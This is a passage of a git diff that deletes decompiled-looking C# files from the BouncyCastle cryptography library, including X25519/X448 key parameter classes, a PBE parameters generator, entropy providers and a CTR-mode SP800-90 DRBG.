(byte[])parameters[0]; - } - - public byte[] GetPersonalisation() - { - return (byte[])parameters[8]; - } - - public byte[] GetPublicKey() - { - return (byte[])parameters[12]; - } - - public byte[] GetKeyIdentifier() - { - return (byte[])parameters[16]; - } - - public byte[] GetNonce() - { - return (byte[])parameters[20]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Srp6GroupParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Srp6GroupParameters.cs deleted file mode 100644 index e76655f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Srp6GroupParameters.cs +++ /dev/null @@ -1,20 +0,0 @@ -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public sealed class Srp6GroupParameters -{ - private readonly BigInteger n; - - private readonly BigInteger g; - - public BigInteger G => g; - - public BigInteger N => n; - - public Srp6GroupParameters(BigInteger N, BigInteger g) - { - n = N; - this.g = g; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/TweakableBlockCipherParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/TweakableBlockCipherParameters.cs deleted file mode 100644 index fb70f67..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/TweakableBlockCipherParameters.cs +++ /dev/null @@ -1,20 +0,0 @@ -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class TweakableBlockCipherParameters : ICipherParameters -{ - private readonly byte[] tweak; - - private readonly KeyParameter key; - - public KeyParameter Key => key; - - public byte[] Tweak => tweak; - - public TweakableBlockCipherParameters(KeyParameter key, byte[] tweak) - { - this.key = key; - this.tweak = Arrays.Clone(tweak); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/X25519KeyGenerationParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/X25519KeyGenerationParameters.cs deleted file mode 100644 index 784d96d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/X25519KeyGenerationParameters.cs +++ /dev/null @@ -1,11 +0,0 @@ -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class X25519KeyGenerationParameters : KeyGenerationParameters -{ - public X25519KeyGenerationParameters(SecureRandom random) - : base(random, 255) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/X25519PrivateKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/X25519PrivateKeyParameters.cs deleted file mode 100644 index 786fa85..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/X25519PrivateKeyParameters.cs +++ /dev/null @@ -1,65 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Math.EC.Rfc7748; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public sealed class X25519PrivateKeyParameters : AsymmetricKeyParameter -{ - public static readonly int KeySize = 32; - - public static readonly int SecretSize = 32; - - private readonly byte[] data = new byte[KeySize]; - - public X25519PrivateKeyParameters(SecureRandom random) - : base(privateKey: true) - { - X25519.GeneratePrivateKey(random, data); - } - - public X25519PrivateKeyParameters(byte[] buf, int off) - : base(privateKey: true) - { - Array.Copy(buf, off, data, 0, KeySize); - } - - public X25519PrivateKeyParameters(Stream input) - : base(privateKey: true) - { - if (KeySize != Streams.ReadFully(input, data)) - { - throw new EndOfStreamException("EOF encountered in middle of X25519 private key"); - } - } - - public void Encode(byte[] buf, int off) - { - Array.Copy(data, 0, buf, off, KeySize); - } - - public byte[] GetEncoded() - { - return Arrays.Clone(data); - } - - public X25519PublicKeyParameters GeneratePublicKey() - { - byte[] array = new byte[32]; - X25519.GeneratePublicKey(data, 0, array, 0); - return new X25519PublicKeyParameters(array, 0); - } - - public void GenerateSecret(X25519PublicKeyParameters publicKey, byte[] buf, int off) - { - byte[] array = new byte[32]; - publicKey.Encode(array, 0); - if (!X25519.CalculateAgreement(data, 0, array, 0, buf, off)) - { - throw new InvalidOperationException("X25519 agreement failed"); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/X25519PublicKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/X25519PublicKeyParameters.cs deleted file mode 100644 index 8dde674..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/X25519PublicKeyParameters.cs +++ /dev/null @@ -1,38 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public sealed class X25519PublicKeyParameters : AsymmetricKeyParameter -{ - public static readonly int KeySize = 32; - - private readonly byte[] data = new byte[KeySize]; - - public X25519PublicKeyParameters(byte[] buf, int off) - : base(privateKey: false) - { - Array.Copy(buf, off, data, 0, KeySize); - } - - public X25519PublicKeyParameters(Stream input) - : base(privateKey: false) - { - if (KeySize != Streams.ReadFully(input, data)) - { - throw new EndOfStreamException("EOF encountered in middle of X25519 public key"); - } - } - - public void Encode(byte[] buf, int off) - { - Array.Copy(data, 0, buf, off, KeySize); - } - - public byte[] GetEncoded() - { - return Arrays.Clone(data); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/X448KeyGenerationParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/X448KeyGenerationParameters.cs deleted file mode 100644 index d49df72..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/X448KeyGenerationParameters.cs +++ /dev/null @@ -1,11 +0,0 @@ -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class X448KeyGenerationParameters : KeyGenerationParameters -{ - public X448KeyGenerationParameters(SecureRandom random) - : base(random, 448) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/X448PrivateKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/X448PrivateKeyParameters.cs deleted file mode 100644 index d2eb80b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/X448PrivateKeyParameters.cs +++ /dev/null @@ -1,65 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Math.EC.Rfc7748; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public sealed class X448PrivateKeyParameters : AsymmetricKeyParameter -{ - public static readonly int KeySize = 56; - - public static readonly int SecretSize = 56; - - private readonly byte[] data = new byte[KeySize]; - - public X448PrivateKeyParameters(SecureRandom random) - : base(privateKey: true) - { - X448.GeneratePrivateKey(random, data); - } - - public X448PrivateKeyParameters(byte[] buf, int off) - : base(privateKey: true) - { - Array.Copy(buf, off, data, 0, KeySize); - } - - public X448PrivateKeyParameters(Stream input) - : base(privateKey: true) - { - if (KeySize != Streams.ReadFully(input, data)) - { - throw new EndOfStreamException("EOF encountered in middle of X448 private key"); - } - } - - public void Encode(byte[] buf, int off) - { - Array.Copy(data, 0, buf, off, KeySize); - } - - public byte[] GetEncoded() - { - return Arrays.Clone(data); - } - - public X448PublicKeyParameters GeneratePublicKey() - { - byte[] array = new byte[56]; - X448.GeneratePublicKey(data, 0, array, 0); - return new X448PublicKeyParameters(array, 0); - } - - public void GenerateSecret(X448PublicKeyParameters publicKey, byte[] buf, int off) - { - byte[] array = new byte[56]; - publicKey.Encode(array, 0); - if (!X448.CalculateAgreement(data, 0, array, 0, buf, off)) - { - throw new InvalidOperationException("X448 agreement failed"); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/X448PublicKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/X448PublicKeyParameters.cs deleted file mode 100644 index 40e9151..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/X448PublicKeyParameters.cs +++ /dev/null @@ -1,38 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public sealed class X448PublicKeyParameters : AsymmetricKeyParameter -{ - public static readonly int KeySize = 56; - - private readonly byte[] data = new byte[KeySize]; - - public X448PublicKeyParameters(byte[] buf, int off) - : base(privateKey: false) - { - Array.Copy(buf, off, data, 0, KeySize); - } - - public X448PublicKeyParameters(Stream input) - : base(privateKey: false) - { - if (KeySize != Streams.ReadFully(input, data)) - { - throw new EndOfStreamException("EOF encountered in middle of X448 public key"); - } - } - - public void Encode(byte[] buf, int off) - { - Array.Copy(data, 0, buf, off, KeySize); - } - - public byte[] GetEncoded() - { - return Arrays.Clone(data); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/PbeParametersGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/PbeParametersGenerator.cs deleted file mode 100644 index d2827dd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/PbeParametersGenerator.cs +++ /dev/null @@ -1,113 +0,0 @@ -using System; -using System.Text; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto; - -public abstract class PbeParametersGenerator -{ - protected byte[] mPassword; - - protected byte[] mSalt; - - protected int mIterationCount; - - public virtual byte[] Password => Arrays.Clone(mPassword); - - public virtual byte[] Salt => Arrays.Clone(mSalt); - - public virtual int IterationCount => mIterationCount; - - public virtual void Init(byte[] password, byte[] salt, int iterationCount) - { - if (password == null) - { - throw new ArgumentNullException("password"); - } - if (salt == null) - { - throw new ArgumentNullException("salt"); - } - mPassword = Arrays.Clone(password); - mSalt = Arrays.Clone(salt); - mIterationCount = iterationCount; - } - - [Obsolete("Use 'Password' property")] - public byte[] GetPassword() - { - return Password; - } - - [Obsolete("Use 'Salt' property")] - public byte[] GetSalt() - { - return Salt; - } - - [Obsolete("Use version with 'algorithm' parameter")] - public abstract ICipherParameters GenerateDerivedParameters(int keySize); - - public abstract ICipherParameters GenerateDerivedParameters(string algorithm, int keySize); - - [Obsolete("Use version with 'algorithm' parameter")] - public abstract ICipherParameters GenerateDerivedParameters(int keySize, int ivSize); - - public abstract ICipherParameters GenerateDerivedParameters(string algorithm, int keySize, int ivSize); - - public abstract ICipherParameters GenerateDerivedMacParameters(int keySize); - - public static byte[] Pkcs5PasswordToBytes(char[] password) - { - if (password == null) - { - return new byte[0]; - } - return Strings.ToByteArray(password); - } - - [Obsolete("Use version taking 'char[]' instead")] - public static byte[] Pkcs5PasswordToBytes(string password) - { - if (password == null) - { - return new byte[0]; - } - return Strings.ToByteArray(password); - } - - public static byte[] Pkcs5PasswordToUtf8Bytes(char[] password) - { - if (password == null) - { - return new byte[0]; - } - return Encoding.UTF8.GetBytes(password); - } - - [Obsolete("Use version taking 'char[]' instead")] - public static byte[] Pkcs5PasswordToUtf8Bytes(string password) - { - if (password == null) - { - return new byte[0]; - } - return Encoding.UTF8.GetBytes(password); - } - - public static byte[] Pkcs12PasswordToBytes(char[] password) - { - return Pkcs12PasswordToBytes(password, wrongPkcs12Zero: false); - } - - public static byte[] Pkcs12PasswordToBytes(char[] password, bool wrongPkcs12Zero) - { - if (password == null || password.Length < 1) - { - return new byte[wrongPkcs12Zero ? 2 : 0]; - } - byte[] array = new byte[(password.Length + 1) * 2]; - Encoding.BigEndianUnicode.GetBytes(password, 0, password.Length, array, 0); - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/BasicEntropySourceProvider.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/BasicEntropySourceProvider.cs deleted file mode 100644 index 3f6dc3f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/BasicEntropySourceProvider.cs +++ /dev/null @@ -1,46 +0,0 @@ -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Prng; - -public class BasicEntropySourceProvider : IEntropySourceProvider -{ - private class BasicEntropySource : IEntropySource - { - private readonly SecureRandom mSecureRandom; - - private readonly bool mPredictionResistant; - - private readonly int mEntropySize; - - bool IEntropySource.IsPredictionResistant => mPredictionResistant; - - int IEntropySource.EntropySize => mEntropySize; - - internal BasicEntropySource(SecureRandom secureRandom, bool predictionResistant, int entropySize) - { - mSecureRandom = secureRandom; - mPredictionResistant = predictionResistant; - mEntropySize = entropySize; - } - - byte[] IEntropySource.GetEntropy() - { - return SecureRandom.GetNextBytes(mSecureRandom, (mEntropySize + 7) / 8); - } - } - - private readonly SecureRandom mSecureRandom; - - private readonly bool mPredictionResistant; - - public BasicEntropySourceProvider(SecureRandom secureRandom, bool isPredictionResistant) - { - mSecureRandom = secureRandom; - mPredictionResistant = isPredictionResistant; - } - - public IEntropySource Get(int bitsRequired) - { - return new BasicEntropySource(mSecureRandom, mPredictionResistant, bitsRequired); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/CryptoApiEntropySourceProvider.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/CryptoApiEntropySourceProvider.cs deleted file mode 100644 index 6900d8f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/CryptoApiEntropySourceProvider.cs +++ /dev/null @@ -1,58 +0,0 @@ -using System; -using System.Security.Cryptography; - -namespace Org.BouncyCastle.Crypto.Prng; - -public class CryptoApiEntropySourceProvider : IEntropySourceProvider -{ - private class CryptoApiEntropySource : IEntropySource - { - private readonly RandomNumberGenerator mRng; - - private readonly bool mPredictionResistant; - - private readonly int mEntropySize; - - bool IEntropySource.IsPredictionResistant => mPredictionResistant; - - int IEntropySource.EntropySize => mEntropySize; - - internal CryptoApiEntropySource(RandomNumberGenerator rng, bool predictionResistant, int entropySize) - { - mRng = rng; - mPredictionResistant = predictionResistant; - mEntropySize = entropySize; - } - - byte[] IEntropySource.GetEntropy() - { - byte[] array = new byte[(mEntropySize + 7) / 8]; - mRng.GetBytes(array); - return array; - } - } - - private readonly RandomNumberGenerator mRng; - - private readonly bool mPredictionResistant; - - public CryptoApiEntropySourceProvider() - : this(RandomNumberGenerator.Create(), isPredictionResistant: true) - { - } - - public CryptoApiEntropySourceProvider(RandomNumberGenerator rng, bool isPredictionResistant) - { - if (rng == null) - { - throw new ArgumentNullException("rng"); - } - mRng = rng; - mPredictionResistant = isPredictionResistant; - } - - public IEntropySource Get(int bitsRequired) - { - return new CryptoApiEntropySource(mRng, mPredictionResistant, bitsRequired); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/CryptoApiRandomGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/CryptoApiRandomGenerator.cs deleted file mode 100644 index 3de5e20..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/CryptoApiRandomGenerator.cs +++ /dev/null @@ -1,52 +0,0 @@ -using System; -using System.Security.Cryptography; - -namespace Org.BouncyCastle.Crypto.Prng; - -public class CryptoApiRandomGenerator : IRandomGenerator -{ - private readonly RandomNumberGenerator rndProv; - - public CryptoApiRandomGenerator() - : this(RandomNumberGenerator.Create()) - { - } - - public CryptoApiRandomGenerator(RandomNumberGenerator rng) - { - rndProv = rng; - } - - public virtual void AddSeedMaterial(byte[] seed) - { - } - - public virtual void AddSeedMaterial(long seed) - { - } - - public virtual void NextBytes(byte[] bytes) - { - rndProv.GetBytes(bytes); - } - - public virtual void NextBytes(byte[] bytes, int start, int len) - { - if (start < 0) - { - throw new ArgumentException("Start offset cannot be negative", "start"); - } - if (bytes.Length < start + len) - { - throw new ArgumentException("Byte array too small for requested offset and length"); - } - if (bytes.Length == len && start == 0) - { - NextBytes(bytes); - return; - } - byte[] array = new byte[len]; - NextBytes(array); - Array.Copy(array, 0, bytes, start, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/DigestRandomGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/DigestRandomGenerator.cs deleted file mode 100644 index 6a0348b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/DigestRandomGenerator.cs +++ /dev/null @@ -1,107 +0,0 @@ -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Crypto.Prng; - -public class DigestRandomGenerator : IRandomGenerator -{ - private const long CYCLE_COUNT = 10L; - - private long stateCounter; - - private long seedCounter; - - private IDigest digest; - - private byte[] state; - - private byte[] seed; - - public DigestRandomGenerator(IDigest digest) - { - this.digest = digest; - seed = new byte[digest.GetDigestSize()]; - seedCounter = 1L; - state = new byte[digest.GetDigestSize()]; - stateCounter = 1L; - } - - public void AddSeedMaterial(byte[] inSeed) - { - lock (this) - { - DigestUpdate(inSeed); - DigestUpdate(seed); - DigestDoFinal(seed); - } - } - - public void AddSeedMaterial(long rSeed) - { - lock (this) - { - DigestAddCounter(rSeed); - DigestUpdate(seed); - DigestDoFinal(seed); - } - } - - public void NextBytes(byte[] bytes) - { - NextBytes(bytes, 0, bytes.Length); - } - - public void NextBytes(byte[] bytes, int start, int len) - { - lock (this) - { - int num = 0; - GenerateState(); - int num2 = start + len; - for (int i = start; i < num2; i++) - { - if (num == state.Length) - { - GenerateState(); - num = 0; - } - bytes[i] = state[num++]; - } - } - } - - private void CycleSeed() - { - DigestUpdate(seed); - DigestAddCounter(seedCounter++); - DigestDoFinal(seed); - } - - private void GenerateState() - { - DigestAddCounter(stateCounter++); - DigestUpdate(state); - DigestUpdate(seed); - DigestDoFinal(state); - if (stateCounter % 10 == 0) - { - CycleSeed(); - } - } - - private void DigestAddCounter(long seedVal) - { - byte[] array = new byte[8]; - Pack.UInt64_To_LE((ulong)seedVal, array); - digest.BlockUpdate(array, 0, array.Length); - } - - private void DigestUpdate(byte[] inSeed) - { - digest.BlockUpdate(inSeed, 0, inSeed.Length); - } - - private void DigestDoFinal(byte[] result) - { - digest.DoFinal(result, 0); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/Drbg/CtrSP800Drbg.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/Drbg/CtrSP800Drbg.cs deleted file mode 100644 index 9a8d53e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/Drbg/CtrSP800Drbg.cs +++ /dev/null @@ -1,303 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Crypto.Prng.Drbg; - -public class CtrSP800Drbg : ISP80090Drbg -{ - private static readonly long TDEA_RESEED_MAX = 2147483648L; - - private static readonly long AES_RESEED_MAX = 140737488355328L; - - private static readonly int TDEA_MAX_BITS_REQUEST = 4096; - - private static readonly int AES_MAX_BITS_REQUEST = 262144; - - private readonly IEntropySource mEntropySource; - - private readonly IBlockCipher mEngine; - - private readonly int mKeySizeInBits; - - private readonly int mSeedLength; - - private readonly int mSecurityStrength; - - private byte[] mKey; - - private byte[] mV; - - private long mReseedCounter = 0L; - - private bool mIsTdea = false; - - private static readonly byte[] K_BITS = Hex.Decode("000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F"); - - public int BlockSize => mV.Length * 8; - - public CtrSP800Drbg(IBlockCipher engine, int keySizeInBits, int securityStrength, IEntropySource entropySource, byte[] personalizationString, byte[] nonce) - { - if (securityStrength > 256) - { - throw new ArgumentException("Requested security strength is not supported by the derivation function"); - } - if (GetMaxSecurityStrength(engine, keySizeInBits) < securityStrength) - { - throw new ArgumentException("Requested security strength is not supported by block cipher and key size"); - } - if (entropySource.EntropySize < securityStrength) - { - throw new ArgumentException("Not enough entropy for security strength required"); - } - mEntropySource = entropySource; - mEngine = engine; - mKeySizeInBits = keySizeInBits; - mSecurityStrength = securityStrength; - mSeedLength = keySizeInBits + engine.GetBlockSize() * 8; - mIsTdea = IsTdea(engine); - byte[] entropy = GetEntropy(); - CTR_DRBG_Instantiate_algorithm(entropy, nonce, personalizationString); - } - - private void CTR_DRBG_Instantiate_algorithm(byte[] entropy, byte[] nonce, byte[] personalisationString) - { - byte[] inputString = Arrays.ConcatenateAll(entropy, nonce, personalisationString); - byte[] seed = Block_Cipher_df(inputString, mSeedLength); - int blockSize = mEngine.GetBlockSize(); - mKey = new byte[(mKeySizeInBits + 7) / 8]; - mV = new byte[blockSize]; - CTR_DRBG_Update(seed, mKey, mV); - mReseedCounter = 1L; - } - - private void CTR_DRBG_Update(byte[] seed, byte[] key, byte[] v) - { - byte[] array = new byte[seed.Length]; - byte[] array2 = new byte[mEngine.GetBlockSize()]; - int i = 0; - int blockSize = mEngine.GetBlockSize(); - mEngine.Init(forEncryption: true, new KeyParameter(ExpandKey(key))); - for (; i * blockSize < seed.Length; i++) - { - AddOneTo(v); - mEngine.ProcessBlock(v, 0, array2, 0); - int length = ((array.Length - i * blockSize > blockSize) ? blockSize : (array.Length - i * blockSize)); - Array.Copy(array2, 0, array, i * blockSize, length); - } - XOR(array, seed, array, 0); - Array.Copy(array, 0, key, 0, key.Length); - Array.Copy(array, key.Length, v, 0, v.Length); - } - - private void CTR_DRBG_Reseed_algorithm(byte[] additionalInput) - { - byte[] inputString = Arrays.Concatenate(GetEntropy(), additionalInput); - inputString = Block_Cipher_df(inputString, mSeedLength); - CTR_DRBG_Update(inputString, mKey, mV); - mReseedCounter = 1L; - } - - private void XOR(byte[] output, byte[] a, byte[] b, int bOff) - { - for (int i = 0; i < output.Length; i++) - { - output[i] = (byte)(a[i] ^ b[bOff + i]); - } - } - - private void AddOneTo(byte[] longer) - { - uint num = 1u; - int num2 = longer.Length; - while (--num2 >= 0) - { - num += longer[num2]; - longer[num2] = (byte)num; - num >>= 8; - } - } - - private byte[] GetEntropy() - { - byte[] entropy = mEntropySource.GetEntropy(); - if (entropy.Length < (mSecurityStrength + 7) / 8) - { - throw new InvalidOperationException("Insufficient entropy provided by entropy source"); - } - return entropy; - } - - private byte[] Block_Cipher_df(byte[] inputString, int bitLength) - { - int blockSize = mEngine.GetBlockSize(); - int num = inputString.Length; - int value = bitLength / 8; - int num2 = 8 + num + 1; - int num3 = (num2 + blockSize - 1) / blockSize * blockSize; - byte[] array = new byte[num3]; - copyIntToByteArray(array, num, 0); - copyIntToByteArray(array, value, 4); - Array.Copy(inputString, 0, array, 8, num); - array[8 + num] = 128; - byte[] array2 = new byte[mKeySizeInBits / 8 + blockSize]; - byte[] array3 = new byte[blockSize]; - byte[] array4 = new byte[blockSize]; - int i = 0; - byte[] array5 = new byte[mKeySizeInBits / 8]; - Array.Copy(K_BITS, 0, array5, 0, array5.Length); - for (; i * blockSize * 8 < mKeySizeInBits + blockSize * 8; i++) - { - copyIntToByteArray(array4, i, 0); - BCC(array3, array5, array4, array); - int length = ((array2.Length - i * blockSize > blockSize) ? blockSize : (array2.Length - i * blockSize)); - Array.Copy(array3, 0, array2, i * blockSize, length); - } - byte[] array6 = new byte[blockSize]; - Array.Copy(array2, 0, array5, 0, array5.Length); - Array.Copy(array2, array5.Length, array6, 0, array6.Length); - array2 = new byte[bitLength / 2]; - i = 0; - mEngine.Init(forEncryption: true, new KeyParameter(ExpandKey(array5))); - for (; i * blockSize < array2.Length; i++) - { - mEngine.ProcessBlock(array6, 0, array6, 0); - int length2 = ((array2.Length - i * blockSize > blockSize) ? blockSize : (array2.Length - i * blockSize)); - Array.Copy(array6, 0, array2, i * blockSize, length2); - } - return array2; - } - - private void BCC(byte[] bccOut, byte[] k, byte[] iV, byte[] data) - { - int blockSize = mEngine.GetBlockSize(); - byte[] array = new byte[blockSize]; - int num = data.Length / blockSize; - byte[] array2 = new byte[blockSize]; - mEngine.Init(forEncryption: true, new KeyParameter(ExpandKey(k))); - mEngine.ProcessBlock(iV, 0, array, 0); - for (int i = 0; i < num; i++) - { - XOR(array2, array, data, i * blockSize); - mEngine.ProcessBlock(array2, 0, array, 0); - } - Array.Copy(array, 0, bccOut, 0, bccOut.Length); - } - - private void copyIntToByteArray(byte[] buf, int value, int offSet) - { - buf[offSet] = (byte)(value >> 24); - buf[offSet + 1] = (byte)(value >> 16); - buf[offSet + 2] = (byte)(value >> 8); - buf[offSet + 3] = (byte)value; - } - - public int Generate(byte[] output, byte[] additionalInput, bool predictionResistant) - { - if (mIsTdea) - { - if (mReseedCounter > TDEA_RESEED_MAX) - { - return -1; - } - if (DrbgUtilities.IsTooLarge(output, TDEA_MAX_BITS_REQUEST / 8)) - { - throw new ArgumentException("Number of bits per request limited to " + TDEA_MAX_BITS_REQUEST, "output"); - } - } - else - { - if (mReseedCounter > AES_RESEED_MAX) - { - return -1; - } - if (DrbgUtilities.IsTooLarge(output, AES_MAX_BITS_REQUEST / 8)) - { - throw new ArgumentException("Number of bits per request limited to " + AES_MAX_BITS_REQUEST, "output"); - } - } - if (predictionResistant) - { - CTR_DRBG_Reseed_algorithm(additionalInput); - additionalInput = null; - } - if (additionalInput != null) - { - additionalInput = Block_Cipher_df(additionalInput, mSeedLength); - CTR_DRBG_Update(additionalInput, mKey, mV); - } - else - { - additionalInput = new byte[mSeedLength]; - } - byte[] array = new byte[mV.Length]; - mEngine.Init(forEncryption: true, new KeyParameter(ExpandKey(mKey))); - for (int i = 0; i <= output.Length / array.Length; i++) - { - int num = ((output.Length - i * array.Length > array.Length) ? array.Length : (output.Length - i * mV.Length)); - if (num != 0) - { - AddOneTo(mV); - mEngine.ProcessBlock(mV, 0, array, 0); - Array.Copy(array, 0, output, i * array.Length, num); - } - } - CTR_DRBG_Update(additionalInput, mKey, mV); - mReseedCounter++; - return output.Length * 8; - } - - public void Reseed(byte[] additionalInput) - { - CTR_DRBG_Reseed_algorithm(additionalInput); - } - - private bool IsTdea(IBlockCipher cipher) - { - if (!cipher.AlgorithmName.Equals("DESede")) - { - return cipher.AlgorithmName.Equals("TDEA"); - } - return true; - } - - private int GetMaxSecurityStrength(IBlockCipher cipher, int keySizeInBits) - { - if (IsTdea(cipher) && keySizeInBits == 168) - { - return 112; - } - if (cipher.AlgorithmName.Equals("AES")) - { - return keySizeInBits; - } - return -1; - } - - private byte[] ExpandKey(byte[] key) - { - if (mIsTdea) - { - byte[] array = new byte[24]; - PadKey(key, 0, array, 0); - PadKey(key, 7, array, 8); - PadKey(key, 14, array, 16); - return array; - } - return key; - } - - private void PadKey(byte[] keyMaster, int keyOff, byte[] tmp, int tmpOff) - { - tmp[tmpOff] = (byte)(keyMaster[keyOff] & 0xFE); - tmp[tmpOff + 1] = (byte)((keyMaster[keyOff] << 7) | ((keyMaster[keyOff + 1] & 0xFC) >> 1)); - tmp[tmpOff + 2] = (byte)((keyMaster[keyOff + 1] << 6) | ((keyMaster[keyOff + 2] & 0xF8) >> 2)); - tmp[tmpOff + 3] = (byte)((keyMaster[keyOff + 2] << 5) | ((keyMaster[keyOff + 3] & 0xF0) >> 3)); - tmp[tmpOff + 4] = (byte)((keyMaster[keyOff + 3] << 4) | ((keyMaster[keyOff + 4] & 0xE0) >> 4)); - tmp[tmpOff + 5] = (byte)((keyMaster[keyOff + 4] << 3) | ((keyMaster[keyOff + 5] & 0xC0) >> 5)); - tmp[tmpOff + 6] = (byte)((keyMaster[keyOff + 5] << 2) | ((keyMaster[keyOff + 6] & 0x80) >> 6)); - tmp[tmpOff + 7] = (byte)(keyMaster[keyOff + 6] << 1); - DesParameters.SetOddParity(tmp, tmpOff, 8); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/Drbg/DrbgUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/Drbg/DrbgUtilities.cs deleted file mode 100644 index 4b964a2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/Drbg/DrbgUtilities.cs +++ /dev/null @@ -1,75 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Prng.Drbg; - -internal class DrbgUtilities -{ - private static readonly IDictionary maxSecurityStrengths; - - static DrbgUtilities() - { - maxSecurityStrengths = Platform.CreateHashtable(); - maxSecurityStrengths.Add("SHA-1", 128); - maxSecurityStrengths.Add("SHA-224", 192); - maxSecurityStrengths.Add("SHA-256", 256); - maxSecurityStrengths.Add("SHA-384", 256); - maxSecurityStrengths.Add("SHA-512", 256); - maxSecurityStrengths.Add("SHA-512/224", 192); - maxSecurityStrengths.Add("SHA-512/256", 256); - } - - internal static int GetMaxSecurityStrength(IDigest d) - { - return (int)maxSecurityStrengths[d.AlgorithmName]; - } - - internal static int GetMaxSecurityStrength(IMac m) - { - string algorithmName = m.AlgorithmName; - return (int)maxSecurityStrengths[algorithmName.Substring(0, algorithmName.IndexOf("/"))]; - } - - internal static byte[] 